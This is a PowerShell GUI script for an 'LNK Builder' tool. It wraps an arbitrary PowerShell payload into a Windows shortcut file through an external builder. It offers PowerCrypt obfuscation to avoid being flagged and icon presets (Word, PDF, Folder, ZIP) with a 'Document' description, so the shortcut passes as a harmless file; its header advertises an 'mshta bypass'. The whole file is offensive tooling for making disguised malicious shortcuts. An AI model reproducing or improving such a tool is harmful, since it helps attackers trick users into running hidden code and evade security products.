Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing

$exe = Join-Path $PSScriptRoot "lnk_builder.exe"

# ── Theme ────────────────────────────────────────────────────────────────────
$BG      = [System.Drawing.Color]::FromArgb(18,  18,  24)
$PANEL   = [System.Drawing.Color]::FromArgb(28,  28,  38)
$BORDER  = [System.Drawing.Color]::FromArgb(50,  50,  70)
$ACCENT  = [System.Drawing.Color]::FromArgb(99, 102, 241)
$ACCENT2 = [System.Drawing.Color]::FromArgb(139, 92, 246)
$SUCCESS = [System.Drawing.Color]::FromArgb(34, 197, 94)
$WARN    = [System.Drawing.Color]::FromArgb(251, 191, 36)
$ERR     = [System.Drawing.Color]::FromArgb(239, 68,  68)
$FG      = [System.Drawing.Color]::FromArgb(226, 232, 240)
$FG2     = [System.Drawing.Color]::FromArgb(148, 163, 184)
$MONO    = New-Object System.Drawing.Font("Consolas", 9)
$SANS    = New-Object System.Drawing.Font("Segoe UI",  9)
$SANS_B  = New-Object System.Drawing.Font("Segoe UI",  9,  [System.Drawing.FontStyle]::Bold)

function New-Label([string]$text, [int]$x, [int]$y, [int]$w=200, [int]$h=18) {
    $l = New-Object System.Windows.Forms.Label
    $l.Text = $text; $l.Location = [System.Drawing.Point]::new($x,$y)
    $l.Size = [System.Drawing.Size]::new($w,$h)
    $l.ForeColor = $FG2; $l.BackColor = [System.Drawing.Color]::Transparent
    $l.Font = $SANS; return $l
}

function New-TextBox([int]$x, [int]$y, [int]$w=260, [int]$h=24, [bool]$multi=$false) {
    $t = New-Object System.Windows.Forms.TextBox
    $t.Location = [System.Drawing.Point]::new($x,$y)
    $t.Size = [System.Drawing.Size]::new($w,$h)
    $t.BackColor = $PANEL; $t.ForeColor = $FG; $t.BorderStyle = "FixedSingle"
    $t.Font = $SANS
    if ($multi) { $t.Multiline = $true; $t.ScrollBars = "Vertical"; $t.AcceptsReturn = $true }
    return $t
}

function New-Btn([string]$text, [int]$x, [int]$y, [int]$w=90, [int]$h=28) {
    $b = New-Object System.Windows.Forms.Button
    $b.Text = $text; $b.Location = [System.Drawing.Point]::new($x,$y)
    $b.Size = [System.Drawing.Size]::new($w,$h)
    $b.BackColor = $ACCENT; $b.ForeColor = [System.Drawing.Color]::White
    $b.FlatStyle = "Flat"; $b.FlatAppearance.BorderSize = 0
    $b.Font = $SANS_B; $b.Cursor = "Hand"
    return $b
}

# ── Form ─────────────────────────────────────────────────────────────────────
$form = New-Object System.Windows.Forms.Form
$form.Text = "LNK Builder"
$form.Size = [System.Drawing.Size]::new(820, 660)
$form.MinimumSize = $form.Size
$form.BackColor = $BG
$form.ForeColor = $FG
$form.Font = $SANS
$form.StartPosition = "CenterScreen"
$form.FormBorderStyle = "FixedSingle"
$form.MaximizeBox = $false

# ── Title bar ────────────────────────────────────────────────────────────────
$strip = New-Object System.Windows.Forms.Panel
$strip.Location = [System.Drawing.Point]::new(0,0)
$strip.Size = [System.Drawing.Size]::new(820, 48)
$strip.BackColor = $PANEL

$titleLbl = New-Object System.Windows.Forms.Label
$titleLbl.Text = "  LNK Builder"
$titleLbl.Font = New-Object System.Drawing.Font("Segoe UI", 13, [System.Drawing.FontStyle]::Bold)
$titleLbl.ForeColor = $FG
$titleLbl.Location = [System.Drawing.Point]::new(6,8)
$titleLbl.Size = [System.Drawing.Size]::new(300,30)
$titleLbl.BackColor = [System.Drawing.Color]::Transparent

$subLbl = New-Object System.Windows.Forms.Label
$subLbl.Text = "mshta bypass  |  PowerCrypt  |  LNK Builder"
$subLbl.Font = $SANS; $subLbl.ForeColor = $FG2
$subLbl.Location = [System.Drawing.Point]::new(200,16)
$subLbl.Size = [System.Drawing.Size]::new(400,18)
$subLbl.BackColor = [System.Drawing.Color]::Transparent

$strip.Controls.AddRange(@($titleLbl,$subLbl))
$form.Controls.Add($strip)

# ── Left panel ───────────────────────────────────────────────────────────────
$left = New-Object System.Windows.Forms.Panel
$left.Location = [System.Drawing.Point]::new(10,58)
$left.Size = [System.Drawing.Size]::new(490, 550)
$left.BackColor = [System.Drawing.Color]::Transparent

# Payload
$left.Controls.Add((New-Label "PAYLOAD (PowerShell command)" 0 0 300 18))
$txtPayload = New-TextBox 0 22 490 120 $true
$txtPayload.Font = $MONO
$left.Controls.Add($txtPayload)

# Output path
$left.Controls.Add((New-Label "OUTPUT FILE (.lnk)" 0 152 300 18))
$txtOutput = New-TextBox 0 172 380 24
$txtOutput.Text = (Join-Path ([System.Environment]::GetFolderPath("Desktop")) "Payload.lnk")
$left.Controls.Add($txtOutput)
$btnBrowseOut = New-Btn "Browse..." 386 172 100 24
$btnBrowseOut.BackColor = $BORDER
$left.Controls.Add($btnBrowseOut)

# Icon
$left.Controls.Add((New-Label "ICON" 0 206 300 18))
$txtIcon = New-TextBox 0 226 380 24
$txtIcon.Text = ""
$left.Controls.Add($txtIcon)
$btnBrowseIcon = New-Btn "Browse..." 386 226 100 24
$btnBrowseIcon.BackColor = $BORDER
$left.Controls.Add($btnBrowseIcon)

# Icon index + Description
$left.Controls.Add((New-Label "Icon index" 0 260 120 18))
$nudIcon = New-Object System.Windows.Forms.NumericUpDown
$nudIcon.Location = [System.Drawing.Point]::new(0,278)
$nudIcon.Size = [System.Drawing.Size]::new(80,24)
$nudIcon.Minimum = 0; $nudIcon.Maximum = 300; $nudIcon.Value = 13
$nudIcon.BackColor = $PANEL; $nudIcon.ForeColor = $FG; $nudIcon.Font = $SANS
$left.Controls.Add($nudIcon)

$left.Controls.Add((New-Label "DESCRIPTION" 100 260 200 18))
$txtDesc = New-TextBox 100 278 390 24
$txtDesc.Text = "Document"
$left.Controls.Add($txtDesc)

# ── PowerCrypt section ───────────────────────────────────────────────────────
$pcSep = New-Object System.Windows.Forms.Panel
$pcSep.Location = [System.Drawing.Point]::new(0,316)
$pcSep.Size = [System.Drawing.Size]::new(490,1)
$pcSep.BackColor = $BORDER
$left.Controls.Add($pcSep)

$chkPowerCrypt = New-Object System.Windows.Forms.CheckBox
$chkPowerCrypt.Text = "PowerCrypt Obfuscation"
$chkPowerCrypt.Location = [System.Drawing.Point]::new(0,324)
$chkPowerCrypt.Size = [System.Drawing.Size]::new(240,22)
$chkPowerCrypt.ForeColor = $ACCENT2
$chkPowerCrypt.BackColor = [System.Drawing.Color]::Transparent
$chkPowerCrypt.Font = $SANS_B
$left.Controls.Add($chkPowerCrypt)

$pcWarnLbl = New-Object System.Windows.Forms.Label
$pcWarnLbl.Text = "Note: large payloads may be flagged"
$pcWarnLbl.Location = [System.Drawing.Point]::new(250,327)
$pcWarnLbl.Size = [System.Drawing.Size]::new(240,16)
$pcWarnLbl.ForeColor = $WARN
$pcWarnLbl.BackColor = [System.Drawing.Color]::Transparent
$pcWarnLbl.Font = New-Object System.Drawing.Font("Segoe UI", 8)
$pcWarnLbl.Visible = $false
$left.Controls.Add($pcWarnLbl)

$lblPcPath = New-Label "PowerCrypt.exe path" 0 354 200 18
$left.Controls.Add($lblPcPath)

$txtPcPath = New-TextBox 0 374 380 24
$txtPcPath.Text = Join-Path $PSScriptRoot "PowerCrypt.exe"
$txtPcPath.ForeColor = $FG2
$left.Controls.Add($txtPcPath)

$btnBrowsePc = New-Btn "Browse..." 386 374 100 24
$btnBrowsePc.BackColor = $BORDER
$left.Controls.Add($btnBrowsePc)

$lblPcPath.ForeColor  = $BORDER
$txtPcPath.Enabled    = $false
$btnBrowsePc.Enabled  = $false

$chkPowerCrypt.Add_CheckedChanged({
    $en = $chkPowerCrypt.Checked
    $txtPcPath.Enabled    = $en
    $btnBrowsePc.Enabled  = $en
    $pcWarnLbl.Visible    = $en
    $lblPcPath.ForeColor  = if ($en) { $FG2 } else { $BORDER }
    $txtPcPath.ForeColor  = if ($en) { $FG  } else { $FG2    }
})

# Buttons
$btnGen = New-Btn "  BUILD LNK" 0 416 200 36
$btnGen.Font = New-Object System.Drawing.Font("Segoe UI", 11, [System.Drawing.FontStyle]::Bold)
$btnGen.BackColor = $ACCENT
$left.Controls.Add($btnGen)

$btnClear = New-Btn "Clear" 210 416 90 36
$btnClear.BackColor = $BORDER
$left.Controls.Add($btnClear)

$form.Controls.Add($left)

# ── Right panel - log ─────────────────────────────────────────────────────────
$right = New-Object System.Windows.Forms.Panel
$right.Location = [System.Drawing.Point]::new(514,58)
$right.Size = [System.Drawing.Size]::new(290,550)
$right.BackColor = [System.Drawing.Color]::Transparent

$right.Controls.Add((New-Label "OUTPUT / LOG" 0 0 200 18))

$rtbLog = New-Object System.Windows.Forms.RichTextBox
$rtbLog.Location = [System.Drawing.Point]::new(0,22)
$rtbLog.Size = [System.Drawing.Size]::new(290,420)
$rtbLog.BackColor = $PANEL; $rtbLog.ForeColor = $FG
$rtbLog.Font = $MONO; $rtbLog.ReadOnly = $true
$rtbLog.BorderStyle = "FixedSingle"; $rtbLog.WordWrap = $false
$right.Controls.Add($rtbLog)

# Quick icon presets
$right.Controls.Add((New-Label "QUICK ICON" 0 452 200 18))

$presets = @(
    @{ Name="Folder"; Idx=3   },
    @{ Name="Word";   Idx=72  },
    @{ Name="PDF";    Idx=67  },
    @{ Name="Image";  Idx=108 },
    @{ Name="ZIP";    Idx=165 }
)
$px = 0
foreach ($p in $presets) {
    $pb = New-Object System.Windows.Forms.Button
    $pb.Text = $p.Name; $pb.Tag = $p.Idx
    $pb.Location = [System.Drawing.Point]::new($px,472)
    $pb.Size = [System.Drawing.Size]::new(52,26)
    $pb.BackColor = $BORDER; $pb.ForeColor = $FG
    $pb.FlatStyle = "Flat"; $pb.FlatAppearance.BorderSize = 0
    $pb.Font = New-Object System.Drawing.Font("Segoe UI",8)
    $pb.Cursor = "Hand"
    $pb.Add_Click({ $nudIcon.Value = $this.Tag })
    $right.Controls.Add($pb)
    $px += 56
}

$form.Controls.Add($right)

# ── Status bar ───────────────────────────────────────────────────────────────
$status = New-Object System.Windows.Forms.Panel
$status.Location = [System.Drawing.Point]::new(0,616)
$status.Size = [System.Drawing.Size]::new(820,28)
$status.BackColor = $PANEL

$lblStatus = New-Object System.Windows.Forms.Label
$lblStatus.Location = [System.Drawing.Point]::new(12,6)
$lblStatus.Size = [System.Drawing.Size]::new(796,18)
$lblStatus.Font = $SANS; $lblStatus.BackColor = [System.Drawing.Color]::Transparent
$lblStatus.ForeColor = $FG2
$lblStatus.Text = if (Test-Path $exe) { "Ready - $exe" } else { "WARNING: lnk_builder.exe not found: $exe" }

$status.Controls.Add($lblStatus)
$form.Controls.Add($status)

# ── Log helper ───────────────────────────────────────────────────────────────
function Write-Log([string]$msg, [System.Drawing.Color]$color) {
    $rtbLog.SelectionStart = $rtbLog.TextLength
    $rtbLog.SelectionLength = 0
    $rtbLog.SelectionColor = $color
    $rtbLog.AppendText($msg + "`n")
    $rtbLog.ScrollToCaret()
}

# ── Browse buttons ────────────────────────────────────────────────────────────
$btnBrowseOut.Add_Click({
    $sfd = New-Object System.Windows.Forms.SaveFileDialog
    $sfd.Filter = "LNK file (*.lnk)|*.lnk"
    $sfd.FileName = [System.IO.Path]::GetFileName($txtOutput.Text)
    if ($sfd.ShowDialog() -eq "OK") { $txtOutput.Text = $sfd.FileName }
})

$btnBrowseIcon.Add_Click({
    $ofd = New-Object System.Windows.Forms.OpenFileDialog
    $ofd.Filter = "Icon files (*.ico)|*.ico|All files (*.*)|*.*"
    $ofd.Title = "Select Icon"
    if ($ofd.ShowDialog() -eq "OK") {
        $txtIcon.Text = $ofd.FileName
        $nudIcon.Value = 0
    }
})

$btnBrowsePc.Add_Click({
    $ofd = New-Object System.Windows.Forms.OpenFileDialog
    $ofd.Filter = "PowerCrypt (PowerCrypt.exe)|PowerCrypt.exe|EXE (*.exe)|*.exe"
    if ($ofd.ShowDialog() -eq "OK") { $txtPcPath.Text = $ofd.FileName }
})

$btnClear.Add_Click({
    $rtbLog.Clear()
    $lblStatus.ForeColor = $FG2
    $lblStatus.Text = "Ready"
})

# ── Generate ──────────────────────────────────────────────────────────────────
$btnGen.Add_Click({
    $rtbLog.Clear()

    if (-not (Test-Path $exe)) {
        Write-Log "[-] lnk_builder.exe not found: $exe" $ERR
        $lblStatus.ForeColor = $ERR; $lblStatus.Text = "Error: lnk_builder.exe not found"
        return
    }

    $payload = $txtPayload.Text.Trim()
    if ($payload -eq "") {
        Write-Log "[!] Payload cannot be empty." $WARN
        return
    }

    # ── PowerCrypt obfuscation ───────────────────────────────────────────────
    $tmpPayloadFile = $null
    if ($chkPowerCrypt.Checked) {
        $pcExe = $txtPcPath.Text.Trim()
        if (-not (Test-Path $pcExe)) {
            Write-Log "[-] PowerCrypt.exe not found: $pcExe" $ERR
            Write-Log "    Download: https://github.com/KingKDot/PowerCrypt" $FG2
            $lblStatus.ForeColor = $ERR; $lblStatus.Text = "Error: PowerCrypt.exe not found"
            return
        }

        Write-Log "[*] Running PowerCrypt obf on work" $ACCENT2

        $tmpIn  = [System.IO.Path]::Combine($env:TEMP, "pc_in_$([System.IO.Path]::GetRandomFileName()).ps1")
        $tmpOut = [System.IO.Path]::Combine($env:TEMP, "pc_out_$([System.IO.Path]::GetRandomFileName()).ps1")

        try {
            [System.IO.File]::WriteAllText($tmpIn, $payload, [System.Text.Encoding]::UTF8)

            $psi = New-Object System.Diagnostics.ProcessStartInfo
            $psi.FileName  = $pcExe
            $psi.Arguments = "`"$tmpIn`" `"$tmpOut`""
            $psi.RedirectStandardOutput = $true
            $psi.RedirectStandardError  = $true
            $psi.UseShellExecute = $false
            $psi.CreateNoWindow  = $true

            $proc = [System.Diagnostics.Process]::Start($psi)
            $pcOut = $proc.StandardOutput.ReadToEnd()
            $pcErr = $proc.StandardError.ReadToEnd()
            $proc.WaitForExit()

            Remove-Item $tmpIn -ErrorAction SilentlyContinue

            if ($proc.ExitCode -ne 0 -or -not (Test-Path $tmpOut)) {
                Write-Log "[-] PowerCrypt failed (exit $($proc.ExitCode))" $ERR
                if ($pcErr) { Write-Log $pcErr $ERR }
                return
            }

            $tmpPayloadFile = $tmpOut
            Write-Log "[+] PowerCrypt done" $SUCCESS
        } catch {
            Remove-Item $tmpIn  -ErrorAction SilentlyContinue
            Remove-Item $tmpOut -ErrorAction SilentlyContinue
            Write-Log "[-] PowerCrypt error: $_" $ERR
            return
        }
    }

    # ── Build LNK ────────────────────────────────────────────────────────────
    if ($tmpPayloadFile) {
        $argList = @("-f", $tmpPayloadFile)
    } else {
        $argList = @("-c", $payload)
    }
    $argList += @("-o", $txtOutput.Text, "--icon-index", [string]$nudIcon.Value)
    if ($txtIcon.Text) { $argList += "-i"; $argList += $txtIcon.Text }
    if ($txtDesc.Text) { $argList += "-d"; $argList += $txtDesc.Text }

    Write-Log "[>] Building LNK..." $FG2

    $psi2 = New-Object System.Diagnostics.ProcessStartInfo
    $psi2.FileName  = $exe
    $psi2.Arguments = ($argList | ForEach-Object { if ($_ -match '\s') { """$_""" } else { $_ } }) -join " "
    $psi2.RedirectStandardOutput = $true
    $psi2.RedirectStandardError  = $true
    $psi2.UseShellExecute = $false
    $psi2.CreateNoWindow  = $true

    $proc2 = [System.Diagnostics.Process]::Start($psi2)
    $stdout = $proc2.StandardOutput.ReadToEnd()
    $stderr = $proc2.StandardError.ReadToEnd()
    $proc2.WaitForExit()

    if ($tmpPayloadFile) { Remove-Item $tmpPayloadFile -ErrorAction SilentlyContinue }

    foreach ($line in ($stdout -split "`n")) {
        $line = $line.TrimEnd("`r")
        if     ($line -match "^\[\+\]") { Write-Log $line $SUCCESS }
        elseif ($line -match "^\[\*\]") { Write-Log $line $ACCENT  }
        elseif ($line -match "^\[!\]")  { Write-Log $line $WARN    }
        elseif ($line -match "^\[-\]")  { Write-Log $line $ERR     }
        elseif ($line -ne "")           { Write-Log $line $FG2     }
    }
    foreach ($line in ($stderr -split "`n")) {
        $line = $line.TrimEnd("`r")
        if ($line -ne "") { Write-Log $line $ERR }
    }

    if ($proc2.ExitCode -eq 0) {
        $size = (Get-Item $txtOutput.Text -ErrorAction SilentlyContinue).Length
        $lblStatus.ForeColor = $SUCCESS
        $lblStatus.Text = "Success - $($txtOutput.Text)  ($size bytes)"
        Write-Log "[OK] LNK ready: $($txtOutput.Text)" $SUCCESS
    } else {
        $lblStatus.ForeColor = $ERR
        $lblStatus.Text = "Error (exit $($proc2.ExitCode))"
    }
})

# Ctrl+Enter = Build LNK
$form.KeyPreview = $true
$form.Add_KeyDown({
    if ($_.Control -and $_.KeyCode -eq "Return") { $btnGen.PerformClick() }
})

$form.Add_Shown({ $txtPayload.Focus() })
[void]$form.ShowDialog()
